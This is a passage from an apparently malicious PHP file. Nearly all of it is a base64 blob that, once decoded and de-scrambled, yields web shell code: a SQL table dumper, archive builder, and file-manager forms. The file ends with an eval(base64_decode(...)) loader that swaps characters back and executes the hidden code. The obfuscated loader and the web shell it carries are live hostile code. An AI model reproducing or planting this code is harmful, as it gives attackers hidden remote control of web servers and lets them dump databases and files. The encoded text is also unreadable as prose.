xbTU7DQoJCSRmciAuPSAkemQxdDE7DQoJCSRmciAuPSBwMWNrKCdWJywgJGNyYyk7DQoJCSRmciAuPSBwMWNrKCdWJywgJGNfbDVuKTsNCgkJJGZyIC49IHAxY2soJ1YnLCAkM25jX2w1bik7DQoNCgkJJHRoNHMgLT4gZDF0MXM1Y1tdID0gJGZyOw0KCQkkbjV3XzJmZnM1dCA9IHN0cmw1big0bXBsMmQ1KCcnLCAkdGg0cy0+ZDF0MXM1YykpOw0KDQoJCSRjZHI1YyA9ICJceGkwXHh1Ylx4MDZceDBhIjsNCgkJJGNkcjVjIC49ICJceDAwXHgwMCI7DQoJCSRjZHI1YyAuPSAiXHg2dVx4MDAiOw0KCQkkY2RyNWMgLj0gIlx4MDBceDAwIjsNCgkJJGNkcjVjIC49ICJceDA4XHgwMCI7DQoJCSRjZHI1YyAuPSAkaDV4ZHQ0bTU7DQoJCSRjZHI1YyAuPSBwMWNrKCdWJywgJGNyYyk7DQoJCSRjZHI1YyAuPSBwMWNrKCdWJywgJGNfbDVuKTsNCgkJJGNkcjVjIC49IHAxY2soJ1YnLCAkM25jX2w1bik7DQoJCSRjZHI1YyAuPSBwMWNrKCd2Jywgc3RybDVuKCRuMW01KSApOw0KCQkkY2RyNWMgLj0gcDFjaygndicsIDAgKTsNCgkJJGNkcjVjIC49IHAxY2soJ3YnLCAwICk7DQoJCSRjZHI1YyAuPSBwMWNrKCd2JywgMCApOw0KCQkkY2RyNWMgLj0gcDFjaygndicsIDAgKTsNCgkJJGNkcjVjIC49IHAxY2soJ1YnLCBvYSApOw0KCQkkY2RyNWMgLj0gcDFjaygnVicsICR0aDRzIC0+IDJsZF8yZmZzNXQgKTsNCgkJJHRoNHMgLT4gMmxkXzJmZnM1dCA9ICRuNXdfMmZmczV0Ow0KCQkkY2RyNWMgLj0gJG4xbTU7DQoNCgkJJHRoNHMgLT4gY3RybF9kNHJbXSA9ICRjZHI1YzsNCgl9DQoNCglmM25jdDQybiBmNGw1KCkgew0KCQkkZDF0MSAgICA9IDRtcGwyZDUoJycsICR0aDRzIC0+IGQxdDFzNWMpOw0KCQkkY3RybGQ0ciA9IDRtcGwyZDUoJycsICR0aDRzIC0+IGN0cmxfZDRyKTsNCgkJcjV0M3JuICRkMXQxIC4gJGN0cmxkNHIgLiAkdGg0cyAtPiA1MmZfY3RybF9kNHIgLiBwMWNrKCd2JywgczR6NTJmKCR0aDRzIC0+IGN0cmxfZDRyKSkgLiBwMWNrKCd2JywgczR6NTJmKCR0aDRzIC0+IGN0cmxfZDRyKSkgLglwMWNrKCdWJywgc3RybDVuKCRjdHJsZDRyKSkgLiBwMWNrKCdWJywgc3RybDVuKCRkMXQxKSkgLiAiXHgwMFx4MDAiOw0KCX0NCn0NCg0KLy8gJiNhYTc5NjsmI2EwYWE2OyYjYWk5ZTg7JiNhaXVpdTsmI2F1YTY2Ow0KZjNuY3Q0Mm4gc3FsZDNtcHQxYmw1KCR0MWJsNSwgJGZwPTApIHsNCgkkdDFibDVkM21wID0gIkRST1AgVEFCTEUgSUYgRVhJU1RTICR0MWJsNTtcbiI7DQoJJHQxYmw1ZDNtcCAuPSAiQ1JFQVRFIFRBQkxFICR0MWJsNSAoXG4iOw0KDQoJJGY0cnN0ZjQ1bGQ9NjsNCg0KCSRmNDVsZHMgPSBxKCJTSE9XIEZJRUxEUyBGUk9NICR0MWJsNSIpOw0KCXdoNGw1ICgkZjQ1bGQgPSBteXNxbF9mNXRjaF8xcnIxeSgkZjQ1bGRzKSkgew0KCQk0ZiAoISRmNHJzdGY0NWxkKSB7DQoJCQkkdDFibDVkM21wIC49ICIsXG4iOw0KCQl9IDVsczUgew0KCQkJJGY0cnN0ZjQ1bGQ9MDsNCgkJfQ0KCQkkdDFibDVkM21wIC49ICIgICAkZjQ1bGRbRjQ1bGRdICRmNDVsZFtUeXA1XSI7DQoJCTRmICghNW1wdHkoJGY0NWxkWyJENWYxM2x0Il0pKSB7DQoJCQkkdDFibDVkM21wIC49ICIgREVGQVVMVCAnJGY0NWxkW0Q1ZjEzbHRdJyI7DQoJCX0NCgkJNGYgKCRmNDVsZFsnTjNsbCddICE9ICJZRVMiKSB7DQoJCQkkdDFibDVkM21wIC49ICIgTk9UIE5VTEwiOw0KCQl9DQoJCTRmICgkZjQ1bGRbJ0V4dHIxJ10gIT0gIiIpIHsNCgkJCSR0MWJsNWQzbXAgLj0gIiAkZjQ1bGRbRXh0cjFdIjsNCgkJfQ0KCX0NCglmcigkZjQ1bGRzKTsNCg0KCSRrNXlzID0gcSgiU0hPVyBLRVlTIEZST00gJHQxYmw1Iik7DQoJd2g0bDUgKCRrNXkgPSBteXNxbF9mNXRjaF8xcnIxeSgkazV5cykpIHsNCgkJJGtuMW01PSRrNXlbJ0s1eV9uMW01J107DQoJCTRmICgka24xbTUgIT0gIlBSSU1BUlkiICYmICRrNXlbJ04ybl8zbjRxMzUnXSA9PSAwKSB7DQoJCQkka24xbTU9IlVOSVFVRXwka24xbTUiOw0KCQl9DQoJCTRmKCE0c18xcnIxeSgkNG5kNXhbJGtuMW01XSkpIHsNCgkJCSQ0bmQ1eFska24xbTVdID0gMXJyMXkoKTsNCgkJfQ0KCQkkNG5kNXhbJGtuMW01XVtdID0gJGs1eVsnQzJsM21uX24xbTUnXTsNCgl9DQoJZnIoJGs1eXMpOw0KDQoJd2g0bDUobDRzdCgka24xbTUsICRjMmwzbW5zKSA9IEA1MWNoKCQ0bmQ1eCkpIHsNCgkJJHQxYmw1ZDNtcCAuPSAiLFxuIjsNCgkJJGMybG4xbTVzPTRtcGwyZDUoJGMybDNtbnMsIiwiKTsNCg0KCQk0ZiAoJGtuMW01ID09ICJQUklNQVJZIikgew0KCQkJJHQxYmw1ZDNtcCAuPSAiICAgUFJJTUFSWSBLRVkgKCRjMmxuMW01cykiOw0KCQl9IDVsczUgew0KCQkJNGYgKHMzYnN0cigka24xbTUsMCxlKSA9PSAiVU5JUVVFIikgew0KCQkJCSRrbjFtNT1zM2JzdHIoJGtuMW01LDcpOw0KCQkJfQ0KCQkJJHQxYmw1ZDNtcCAuPSAiICAgS0VZICRrbjFtNSAoJGMybG4xbTVzKSI7DQoJCX0NCgl9DQoNCgkkdDFibDVkM21wIC49ICJcbik7XG5cbiI7DQoJNGYgKCRmcCkgew0KCQlmd3I0dDUoJGZwLCR0MWJsNWQzbXApOw0KCX0gNWxzNSB7DQoJCTVjaDIgJHQxYmw1ZDNtcDsNCgl9DQoNCgkkcjJ3cyA9IHEoIlNFTEVDVCAqIEZST00gJHQxYmw1Iik7DQoJJG4zbWY0NWxkcyA9IG15c3FsX24zbV9mNDVsZHMoJHIyd3MpOw0KCXdoNGw1ICgkcjJ3ID0gbXlzcWxfZjV0Y2hfMXJyMXkoJHIyd3MpKSB7DQoJCSR0MWJsNWQzbXAgPSAiSU5TRVJUIElOVE8gJHQxYmw1IFZBTFVFUygiOw0KDQoJCSRmNDVsZGMyM250NXI9LTY7DQoJCSRmNHJzdGY0NWxkPTY7DQoJCXdoNGw1ICgrKyRmNDVsZGMyM250NXI8JG4zbWY0NWxkcykgew0KCQkJNGYgKCEkZjRyc3RmNDVsZCkgew0KCQkJCSR0MWJsNWQzbXAuPSIsICI7DQoJCQl9IDVsczUgew0KCQkJCSRmNHJzdGY0NWxkPTA7DQoJCQl9DQoNCgkJCTRmICghNHNzNXQoJHIyd1skZjQ1bGRjMjNudDVyXSkpIHsNCgkJCQkkdDFibDVkM21wIC49ICJOVUxMIjsNCgkJCX0gNWxzNSB7DQoJCQkJJHQxYmw1ZDNtcCAuPSAiJyIubXlzcWxfNXNjMXA1X3N0cjRuZygkcjJ3WyRmNDVsZGMyM250NXJdKS4iJyI7DQoJCQl9DQoJCX0NCg0KCQkkdDFibDVkM21wIC49ICIpO1xuIjsNCg0KCQk0ZiAoJGZwKSB7DQoJCQlmd3I0dDUoJGZwLCR0MWJsNWQzbXApOw0KCQl9IDVsczUgew0KCQkJNWNoMiAkdDFibDVkM21wOw0KCQl9DQoJfQ0KCWZyKCRyMndzKTsNCgk0ZiAoJGZwKSB7DQoJCWZ3cjR0NSgkZnAsIlxuIik7DQoJfSA1bHM1IHsNCgkJNWNoMiAiXG4iOw0KCX0NCn0NCg0KZjNuY3Q0Mm4gMzUoJHN0cil7DQoJcjV0M3JuIDNybDVuYzJkNSgkc3RyKTsNCn0NCg0KZjNuY3Q0Mm4gcCgkc3RyKXsNCgk1Y2gyICRzdHIuIlxuIjsNCn0NCg0KZjNuY3Q0Mm4gdGJoNTFkKCkgew0KCXAoJzx0MWJsNSB3NGR0aD0iNjAwJSIgYjJyZDVyPSIwIiBjNWxscDFkZDRuZz0idSIgYzVsbHNwMWM0bmc9IjAiPicpOw0KfQ0KZjNuY3Q0Mm4gdGJmMjJ0KCl7DQoJcCgnPC90MWJsNT4nKTsNCn0NCg0KZjNuY3Q0Mm4gbTFrNWg0ZDUoJG4xbTUsJHYxbDM1PScnKXsNCglwKCI8NG5wM3QgNGQ9XCIkbjFtNVwiIHR5cDU9XCJoNGRkNW5cIiBuMW01PVwiJG4xbTVcIiB2MWwzNT1cIiR2MWwzNVwiIC8+Iik7DQp9DQoNCmYzbmN0NDJuIG0xazU0bnAzdCgkMXJnID0gMXJyMXkoKSl7DQoJJDFyZ1snczR6NSddID0gJDFyZ1snczR6NSddID4gMCA/ICJzNHo1PVwiJDFyZ1tzNHo1XVwiIiA6ICJzNHo1PVwiNjAwXCIiOw0KCSQxcmdbJzV4dHIxJ10gPSAkMXJnWyc1eHRyMSddID8gJDFyZ1snNXh0cjEnXSA6ICcnOw0KCSEkMXJnWyd0eXA1J10gJiYgJDFyZ1sndHlwNSddID0gJ3Q1eHQnOw0KCSQxcmdbJ3Q0dGw1J10gPSAkMXJnWyd0NHRsNSddID8gJDFyZ1sndDR0bDUnXS4nPGJyIC8+JyA6ICcnOw0KCSQxcmdbJ2NsMXNzJ10gPSAkMXJnWydjbDFzcyddID8gJDFyZ1snY2wxc3MnXSA6ICc0bnAzdCc7DQoJNGYgKCQxcmdbJ241d2w0bjUnXSkgew0KCQlwKCI8cD4kMXJnW3Q0dGw1XTw0bnAzdCBjbDFzcz1cIiQxcmdbY2wxc3NdXCIgbjFtNT1cIiQxcmdbbjFtNV1cIiA0ZD1cIiQxcmdbbjFtNV1cIiB2MWwzNT1cIiQxcmdbdjFsMzVdXCIgdHlwNT1cIiQxcmdbdHlwNV1cIiAkMXJnW3M0ejVdICQxcmdbNXh0cjFdIC8+PC9wPiIpOw0KCX0gNWxzNSB7DQoJCXAoIiQxcmdbdDR0bDVdPDRucDN0IGNsMXNzPVwiJDFyZ1tjbDFzc11cIiBuMW01PVwiJDFyZ1tuMW01XVwiIDRkPVwiJDFyZ1tuMW01XVwiIHYxbDM1PVwiJDFyZ1t2MWwzNV1cIiB0eXA1PVwiJDFyZ1t0eXA1XVwiICQxcmdbczR6NV0gJDFyZ1s1eHRyMV0gLz4iKTsNCgl9DQp9DQoNCmYzbmN0NDJuIG0xazVzNWw1Y3QoJDFyZyA9IDFycjF5KCkpew0KCTRmICgkMXJnWycybmNoMW5nNSddKSB7DQoJCSQybmNoMW5nNSA9ICcybmNoMW5nNT0iJy4kMXJnWycybmNoMW5nNSddLiciJzsNCgl9DQoJJDFyZ1sndDR0bDUnXSA9ICQxcmdbJ3Q0dGw1J10gPyAkMXJnWyd0NHRsNSddIDogJyc7DQoJNGYgKCQxcmdbJ241d2w0bjUnXSkgcCgnPHA+Jyk7DQoJcCgiJDFyZ1t0NHRsNV0gPHM1bDVjdCBjbDFzcz1cIjRucDN0XCIgNGQ9XCIkMXJnW24xbTVdXCIgbjFtNT1cIiQxcmdbbjFtNV1cIiAkMm5jaDFuZzU+Iik7DQoJCTRmICg0c18xcnIxeSgkMXJnWycycHQ0Mm4nXSkpIHsNCgkJCTRmICgkMXJnWyduMms1eSddKSB7DQoJCQkJZjJyNTFjaCAoJDFyZ1snMnB0NDJuJ10gMXMgJHYxbDM1KSB7DQoJCQkJCTRmICgkMXJnWydzNWw1Y3Q1ZCddPT0kdjFsMzUpIHsNCgkJCQkJCXAoIjwycHQ0Mm4gdjFsMzU9XCIkdjFsMzVcIiBzNWw1Y3Q1ZD4kdjFsMzU8LzJwdDQybj4iKTsNCgkJCQkJfSA1bHM1IHsNCgkJCQkJCXAoIjwycHQ0Mm4gdjFsMzU9XCIkdjFsMzVcIj4kdjFsMzU8LzJwdDQybj4iKTsNCgkJCQkJfQ0KCQkJCX0NCgkJCX0gNWxzNSB7DQoJCQkJZjJyNTFjaCAoJDFyZ1snMnB0NDJuJ10gMXMgJGs1eT0+JHYxbDM1KSB7DQoJCQkJCTRmICgkMXJnWydzNWw1Y3Q1ZCddPT0kazV5KSB7DQoJCQkJCQlwKCI8MnB0NDJuIHYxbDM1PVwiJGs1eVwiIHM1bDVjdDVkPiR2MWwzNTwvMnB0NDJuPiIpOw0KCQkJCQl9IDVsczUgew0KCQkJCQkJcCgiPDJwdDQybiB2MWwzNT1cIiRrNXlcIj4kdjFsMzU8LzJwdDQybj4iKTsNCgkJCQkJfQ0KCQkJCX0NCgkJCX0NCgkJfQ0KCXAoIjwvczVsNWN0PiIpOw0KCTRmICgkMXJnWyduNXdsNG41J10pIHAoJzwvcD4nKTsNCn0NCmYzbmN0NDJuIGYycm1oNTFkKCQxcmcgPSAxcnIxeSgpKSB7DQoJZ2wyYjFsICRzNWxmOw0KCSEkMXJnWydtNXRoMmQnXSAmJiAkMXJnWydtNXRoMmQnXSA9ICdwMnN0JzsNCgkhJDFyZ1snMWN0NDJuJ10gJiYgJDFyZ1snMWN0NDJuJ10gPSAkczVsZjsNCgkkMXJnWyd0MXJnNXQnXSA9ICQxcmdbJ3Qxcmc1dCddID8gInQxcmc1dD1cIiQxcmdbdDFyZzV0XVwiIiA6ICcnOw0KCSEkMXJnWyduMW01J10gJiYgJDFyZ1snbjFtNSddID0gJ2Yycm02JzsNCglwKCI8ZjJybSBuMW01PVwiJDFyZ1tuMW01XVwiIDRkPVwiJDFyZ1tuMW01XVwiIDFjdDQybj1cIiQxcmdbMWN0NDJuXVwiIG01dGgyZD1cIiQxcmdbbTV0aDJkXVwiICQxcmdbdDFyZzV0XT4iKTsNCgk0ZiAoJDFyZ1sndDR0bDUnXSkgew0KCQlwKCc8aGE+Jy4kMXJnWyd0NHRsNSddLicgJnIxcTMyOzwvaGE+Jyk7DQoJfQ0KfQ0KCQ0KZjNuY3Q0Mm4gbTFrNXQ1eHQoJDFyZyA9IDFycjF5KCkpew0KCSEkMXJnWydjMmxzJ10gJiYgJDFyZ1snYzJscyddID0gNjAwOw0KCSEkMXJnWydyMndzJ10gJiYgJDFyZ1sncjJ3cyddID0gYWk7DQoJJDFyZ1sndDR0bDUnXSA9ICQxcmdbJ3Q0dGw1J10gPyAkMXJnWyd0NHRsNSddLic8YnIgLz4nIDogJyc7DQoJcCgiPHA+JDFyZ1t0NHRsNV08dDV4dDFyNTEgY2wxc3M9XCIxcjUxXCIgNGQ9XCIkMXJnW24xbTVdXCIgbjFtNT1cIiQxcmdbbjFtNV1cIiBjMmxzPVwiJDFyZ1tjMmxzXVwiIHIyd3M9XCIkMXJnW3Iyd3NdXCIgJDFyZ1s1eHRyMV0+JDFyZ1t2MWwzNV08L3Q1eHQxcjUxPjwvcD4iKTsNCn0NCg0KZjNuY3Q0Mm4gZjJybWYyMnQ1cigkbjFtNSA9ICcnKXsNCgkhJG4xbTUgJiYgJG4xbTUgPSAnczNibTR0JzsNCglwKCc8cD48NG5wM3QgY2wxc3M9ImJ0IiBuMW01PSInLiRuMW01LiciIDRkPSInLiRuMW01LiciIHR5cDU9InMzYm00dCIgdjFsMzU9IlMzYm00dCI+PC9wPicpOw0KCXAoJzwvZjJybT4nKTsNCn0NCg0KZjNuY3Q0Mm4gZzJiMWNrKCl7DQoJZ2wyYjFsICRzNWxmLCAkbjJ3cDF0aDsNCglwKCc8ZjJybSAxY3Q0Mm49IicuJHM1bGYuJyIgbTV0aDJkPSJwMnN0Ij48NG5wM3QgdHlwNT0iaDRkZDVuIiBuMW01PSIxY3Q0Mm4iIHYxbDM1PSJmNGw1IiAvPjw0bnAzdCB0eXA1PSJoNGRkNW4iIG4xbTU9ImQ0ciIgdjFsMzU9IicuJG4yd3AxdGguJyIgLz48cD48NG5wM3QgY2wxc3M9ImJ0IiB0eXA1PSJzM2JtNHQiIHYxbDM1PSJHMiBiMWNrLi4uIj48L3A+PC9mMnJtPicpOw0KfQ0KDQpmM25jdDQybiBmMnJtZjIydCgpew0KCXAoJzwvZjJybT4nKTsNCn0NCg0KLy8gJiNvaTh1bzsmI29pNzk3OyYjYTA5ODk7JiNhaTllODsNCmYzbmN0NDJuIHByKCQxKSB7DQoJNWNoMiAnPHByNT4nOw0KCXByNG50X3IoJDEpOw0KCTVjaDIgJzwvcHI1Pic7DQp9DQoNCj8+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?>